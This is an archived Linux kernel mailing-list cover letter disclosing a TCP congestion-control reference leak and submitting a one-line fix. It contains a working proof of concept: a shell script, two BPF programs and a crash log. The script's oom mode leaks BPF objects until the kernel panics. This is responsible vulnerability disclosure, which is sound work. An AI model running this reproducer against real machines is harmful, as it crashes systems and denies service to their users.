All of lore.kernel.org
 help / color / mirror / Atom feed
From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org, bpf@vger.kernel.org
Cc: edumazet@kernel.org, ncardwell@google.com, kuniyu@google.com,
	davem@davemloft.net, pabeni@redhat.com, horms@kernel.org,
	jonathon.reinhart@gmail.com, vega@nebusec.ai, zhilinz@nebusec.ai
Subject: [PATCH net 0/1] tcp: release congestion control reference on rejection
Date: Thu, 22 Oct 2026 02:57:00 +0800	[thread overview]
Message-ID: <cover.1792607608.git.zhilinz@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/tcp_cong.c. After a
restricted BPF struct_ops TCP congestion-control algorithm has been
loaded, a non-root user can trigger the reference leak through user and
network namespaces. Loading the algorithm requires a privileged setup
in the initial network namespace.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11756

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

tcp_set_default_congestion_control() calls bpf_try_module_get() before
checking whether a non-init network namespace may select a restricted
congestion-control algorithm. When the check fails, the function returns
-EPERM without dropping the acquired reference.

For BPF struct_ops algorithms, this keeps the struct_ops map and its
programs alive. For module-backed algorithms, it leaks the module
reference. Repeated rejected writes can therefore pin kernel resources.
The fix releases the acquired reference on the existing -EPERM path.

Reproducer:

    ./poc.sh oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The script uses the supplied leak_ca_oom.bpf.o object.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    POC_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    SMALL_OBJ="$POC_DIR/leak_ca.bpf.o"
    OOM_OBJ="$POC_DIR/leak_ca_oom.bpf.o"
    BPFFS_ROOT=/sys/fs/bpf/tcp_cc_leak_poc
    TEST_USER=${TEST_USER:-test_user}
    LEAK_ITERATIONS=${LEAK_ITERATIONS:-6}
    OOM_CHUNKS=${OOM_CHUNKS:-16}

    need_root() {
    	if [ "$(id -u)" -ne 0 ]; then
    		echo "run as root" >&2
    		exit 1
    	fi
    }

    need_file() {
    	if [ ! -f "$1" ]; then
    		echo "missing required file: $1" >&2
    		exit 1
    	fi
    }

    run_userns_trigger() {
    	if id "$TEST_USER" >/dev/null 2>&1; then
    		su -s /bin/sh "$TEST_USER" -c 'unshare -Urn python3 - <<'"'"'PY'"'"'
    import os
    path = "/proc/sys/net/ipv4/tcp_congestion_control"
    fd = os.open(path, os.O_WRONLY)
    try:
        os.write(fd, b"leakca\n")
        print("write unexpectedly succeeded")
    except OSError as e:
        print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
    finally:
        os.close(fd)
    PY' || true
    	else
    		unshare -n python3 - <<'PY' || true
    import os
    path = "/proc/sys/net/ipv4/tcp_congestion_control"
    fd = os.open(path, os.O_WRONLY)
    try:
        os.write(fd, b"leakca\n")
        print("write unexpectedly succeeded")
    except OSError as e:
        print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
    finally:
        os.close(fd)
    PY
    	fi
    }

    leak_once() {
    	obj=$1
    	dir=$2

    	rm -rf "$dir"
    	mkdir -p "$dir"
    	bpftool struct_ops register "$obj" "$dir"
    	run_userns_trigger
    	bpftool link detach pinned "$dir/leakca"
    }

    observe_mode() {
    	need_file "$SMALL_OBJ"
    	rm -rf "$BPFFS_ROOT"
    	mkdir -p "$BPFFS_ROOT"

    	leak_once "$SMALL_OBJ" "$BPFFS_ROOT/observe"

    	echo
    	echo "struct_ops entries after detach:"
    	bpftool struct_ops show | grep leakca || true

    	echo
    	echo "maps still alive after detach:"
    	bpftool map show | grep -E 'name leakca|name leak_payload' || true
    }

    oom_mode() {
    	i=1

    	need_file "$OOM_OBJ"
    	rm -rf "$BPFFS_ROOT"
    	mkdir -p "$BPFFS_ROOT"

    	echo 2 > /proc/sys/vm/panic_on_oom
    	ulimit -l unlimited || true

    	while [ "$i" -le "$LEAK_ITERATIONS" ]; do
    		echo "[*] leak iteration $i/$LEAK_ITERATIONS"
    		leak_once "$OOM_OBJ" "$BPFFS_ROOT/oom-$i"
    		free -m | sed -n '1,2p'
    		i=$((i + 1))
    	done

    	echo
    	echo "[*] allocating $((OOM_CHUNKS * 64)) MB in userspace to trip OOM after the leaked kernel memory has accumulated"
    	python3 - <<PY
    chunks = []
    chunk = 64 * 1024 * 1024
    for i in range($OOM_CHUNKS):
        chunks.append(bytearray(chunk))
        print(f"allocated {(i + 1) * 64} MB", flush=True)
    print("allocation completed unexpectedly")
    PY
    }

    usage() {
    	cat <<'EOF'
    usage: ./poc.sh [observe|oom]

    observe:
      single leak iteration using leak_ca.bpf.o, no crash expected

    oom:
      six leak iterations using leak_ca_oom.bpf.o, then a bounded 1 GB
      userspace allocation that should panic the kernel because the leaked
      BPF objects have already consumed most memory
    EOF
    }

    need_root

    case "${1:-observe}" in
    observe)
    	observe_mode
    	;;
    oom)
    	oom_mode
    	;;
    *)
    	usage >&2
    	exit 1
    	;;
    esac

------END poc.sh------

------BEGIN leak_ca.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include <vmlinux.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_tracing_net.h"

    char _license[] SEC("license") = "GPL";

    SEC("struct_ops")
    void BPF_PROG(leakca_cong_control, struct sock *sk,
    	      const struct rate_sample *rs)
    {
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_ssthresh, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_ssthresh;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_undo_cwnd, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_cwnd;
    }

    SEC(".struct_ops.link")
    struct tcp_congestion_ops leakca = {
    	.cong_control	= (void *)leakca_cong_control,
    	.ssthresh	= (void *)leakca_ssthresh,
    	.undo_cwnd	= (void *)leakca_undo_cwnd,
    	.name		= "leakca",
    };

------END leak_ca.bpf.c------

------BEGIN leak_ca_oom.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include <vmlinux.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_tracing_net.h"

    struct leak_blob {
    	char bytes[4096];
    };

    struct {
    	__uint(type, BPF_MAP_TYPE_ARRAY);
    	__uint(max_entries, 65536);
    	__type(key, __u32);
    	__type(value, struct leak_blob);
    } leak_payload SEC(".maps");

    char _license[] SEC("license") = "GPL";

    SEC("struct_ops")
    void BPF_PROG(leakca_oom_cong_control, struct sock *sk,
    	      const struct rate_sample *rs)
    {
    	__u32 key = 0;
    	struct leak_blob *blob;

    	blob = bpf_map_lookup_elem(&leak_payload, &key);
    	if (blob)
    		blob->bytes[0] = 1;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_oom_ssthresh, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_ssthresh;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_oom_undo_cwnd, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_cwnd;
    }

    SEC(".struct_ops.link")
    struct tcp_congestion_ops leakca = {
    	.cong_control	= (void *)leakca_oom_cong_control,
    	.ssthresh	= (void *)leakca_oom_ssthresh,
    	.undo_cwnd	= (void *)leakca_oom_undo_cwnd,
    	.name		= "leakca",
    };

------END leak_ca_oom.bpf.c------

----BEGIN crash log----

[  312.334207][T10658] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[  312.334939][T10658] CPU: 3 UID: 0 PID: 10658 Comm: python3 Not tainted 6.12.95 #2
[  312.335458][T10658] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  312.336280][T10658] Call Trace:
[  312.336511][T10658]  <TASK>
[  312.336731][T10658]  panic+0x533/0x610
[  312.337014][T10658]  ? dump_header+0x5d2/0x800
[  312.337342][T10658]  ? __pfx_panic+0x10/0x10
[  312.337698][T10658]  out_of_memory+0x73c/0x1430
[  312.338032][T10658]  ? __alloc_pages_noprof+0xd53/0x26d0
[  312.338420][T10658]  ? __pfx_out_of_memory+0x10/0x10
[  312.338780][T10658]  ? lock_acquire+0x2f/0xb0
[  312.339092][T10658]  ? __alloc_pages_noprof+0xd53/0x26d0
[  312.339480][T10658]  __alloc_pages_noprof+0x1ecc/0x26d0
[  312.339889][T10658]  ? __pfx___alloc_pages_noprof+0x10/0x10
[  312.340283][T10658]  ? hlock_class+0x4e/0x130
[  312.340599][T10658]  ? mark_lock+0xb5/0xc60
[  312.340895][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.341313][T10658]  ? __pfx_mark_lock+0x10/0x10
[  312.341655][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.342038][T10658]  ? rcu_is_watching+0x12/0xc0
[  312.342376][T10658]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[  312.342759][T10658]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[  312.343172][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.343572][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.343959][T10658]  folio_alloc_mpol_noprof+0x16/0x90
[  312.344321][T10658]  vma_alloc_folio_noprof+0xc4/0x170
[  312.344704][T10658]  ? __pfx_vma_alloc_folio_noprof+0x10/0x10
[  312.345107][T10658]  ? find_held_lock+0x2d/0x110
[  312.345441][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.345839][T10658]  do_pte_missing+0x825/0x3710
[  312.346189][T10658]  __handle_mm_fault+0xac8/0x1db0
[  312.346545][T10658]  ? __pfx_lock_release+0x10/0x10
[  312.346891][T10658]  ? down_read_trylock+0x1f0/0x3f0
[  312.347240][T10658]  ? lock_vma_under_rcu+0x121/0x720
[  312.347601][T10658]  ? __pfx___handle_mm_fault+0x10/0x10
[  312.348002][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.348403][T10658]  handle_mm_fault+0x2ad/0x910
[  312.348822][T10658]  do_user_addr_fault+0x301/0xe10
[  312.349186][T10658]  exc_page_fault+0x5d/0xe0
[  312.349500][T10658]  asm_exc_page_fault+0x26/0x30
[  312.349840][T10658] RIP: 0033:0x7f38e70d3340
[  312.350147][T10658] Code: 48 81 fa 00 01 00 00 76 c8 48 8d 8c 17 00 fe ff ff 62 e1 fe 48 7f 40 02 62 e1 fe 48 7f 40 03 48 39 f9 76 2e 48 83 e7 c0 66 90 <62> e1 fd 48 7f 47 04 62 e1 fd 48 7f 47 05 62 e1 fd 48 7f 47 06 62
[  312.351441][T10658] RSP: 002b:00007fff03373848 EFLAGS: 00010287
[  312.351863][T10658] RAX: 00007f38c2995010 RBX: 0000000004000000 RCX: 00007f38c6994e10
[  312.352395][T10658] RDX: 0000000004000000 RSI: 0000000000000000 RDI: 00007f38c48fdf00
[  312.352947][T10658] RBP: 00007f38e69cc268 R08: 00000000ffffffff R09: 0000000000000000
[  312.353473][T10658] R10: 0000000000000022 R11: 0000000000000246 R12: 00007f38e6a2bab0
[  312.354004][T10658] R13: 0000000000a02820 R14: 0000000000000000 R15: 00007f38e69f8ab0
[  312.354585][T10658]  </TASK>
[  312.355010][T10658] Kernel Offset: disabled
[  312.355354][T10658] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  tcp: release congestion control reference on rejection

 net/ipv4/tcp_cong.c | 1 +
 1 file changed, 1 insertion(+)


             reply	other threads:[~2026-10-21 18:57 UTC|newest]

Thread overview: 6+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-21 18:57 Zhiling Zou [this message]
2026-10-21 18:57 ` [PATCH net 1/1] tcp: release congestion control reference on rejection Zhiling Zou
2026-10-22  3:33   ` Jiayuan Chen
2026-10-22  3:53   ` Eric Dumazet
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
2026-10-21 19:09   ` zhilin zou

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1792607608.git.zhilinz@nebusec.ai \
    --to=zhilinz@nebusec.ai \
    --cc=bpf@vger.kernel.org \
    --cc=davem@davemloft.net \
    --cc=edumazet@kernel.org \
    --cc=horms@kernel.org \
    --cc=jonathon.reinhart@gmail.com \
    --cc=kuniyu@google.com \
    --cc=ncardwell@google.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.